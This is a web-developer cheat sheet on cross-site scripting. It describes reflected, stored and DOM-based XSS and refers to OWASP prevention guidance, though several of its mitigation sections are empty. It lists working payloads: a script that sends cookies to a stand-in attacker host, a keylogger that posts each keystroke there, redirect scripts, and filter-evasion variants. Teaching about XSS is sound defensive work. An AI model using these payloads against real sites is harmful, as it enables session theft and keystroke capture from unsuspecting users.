Free Masterclass on Mar 21
Beginner AI Workshop: Build an AI Agent & Start Your AI Career

Jay Abhani
Senior Web Development Instructor at almaBetter
A complete XSS cheat sheet for web developers, covering common attack vectors and security tips. Master prevention techniques with quick, easy-to-follow guides

Cross-Site Scripting (XSS) is one of the most prevalent and dangerous vulnerabilities in web applications. It allows attackers to inject malicious scripts into trusted websites, which then execute in the victim’s browser. This XSS cheat sheet provides a comprehensive guide covering concepts, payloads, prevention strategies, and tools to understand and defend against XSS attacks effectively.
XSS is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal cookies, perform actions on behalf of users, or redirect them to malicious sites. XSS attacks typically exploit improper validation or escaping of user inputs.
XSS can lead to severe consequences, including:
| <script>alert('XSS')</script> |
| <script>document.location='http://malicious-site.com?cookie='+document.cookie</script> |
| <script>window.location='http://malicious-site.com'</script> |
| <img src="invalid.jpg" onerror="alert('XSS')"> |
| <div onmouseover="alert('XSS')">Hover over me</div> |
| <script>\x61lert('XSS')</script> |
| <scr<script>ipt>alert('XSS')</scr<script>ipt> |
How it Works:
User input is reflected immediately in the HTTP response.
Example Vulnerability:
| http://example.com/?q=<script>alert('XSS')</script> |
Mitigation:
How it Works:
Malicious scripts are stored persistently on the server.
Example:
| <textarea>Write a comment...</textarea> |
How it Works:
Vulnerabilities exist in JavaScript, manipulating the DOM without sanitization.
Example Code:
| document.getElementById('output').innerHTML = location.hash.substring(1); |
Mitigation:
The OWASP XSS Prevention Cheat Sheet provides effective steps to mitigate XSS vulnerabilities.
| <script>alert('XSS')</script> |
| <script>window.location='http://malicious-site.com'</script> |
| <script> document.onkeypress = function(e) { fetch('http://malicious-site.com/log?key=' + e.key); } </script> |
Encoding Tricks:
Use hexadecimal or Unicode encoding to bypass filters.
Break payloads into parts to evade detection.
| <scr<script>ipt>alert('XSS')</scr<script>ipt> |
Polyglot Payloads:
Use payloads compatible in multiple contexts (HTML, JavaScript).
| <svg onload="alert('XSS')"></svg> |
This XSS Cheat Sheet provides a comprehensive guide to understanding, detecting, and mitigating XSS vulnerabilities. By using secure coding practices, applying the OWASP XSS prevention cheat sheet, and adopting advanced tools, developers can protect their applications from one of the most dangerous web application vulnerabilities. Stay vigilant, and ensure security is a priority in every stage of your development process.
More Cheat Sheets and Top Picks
All Courses (6)
Master's Degree (2)
Fellowship (2)
Certifications (2)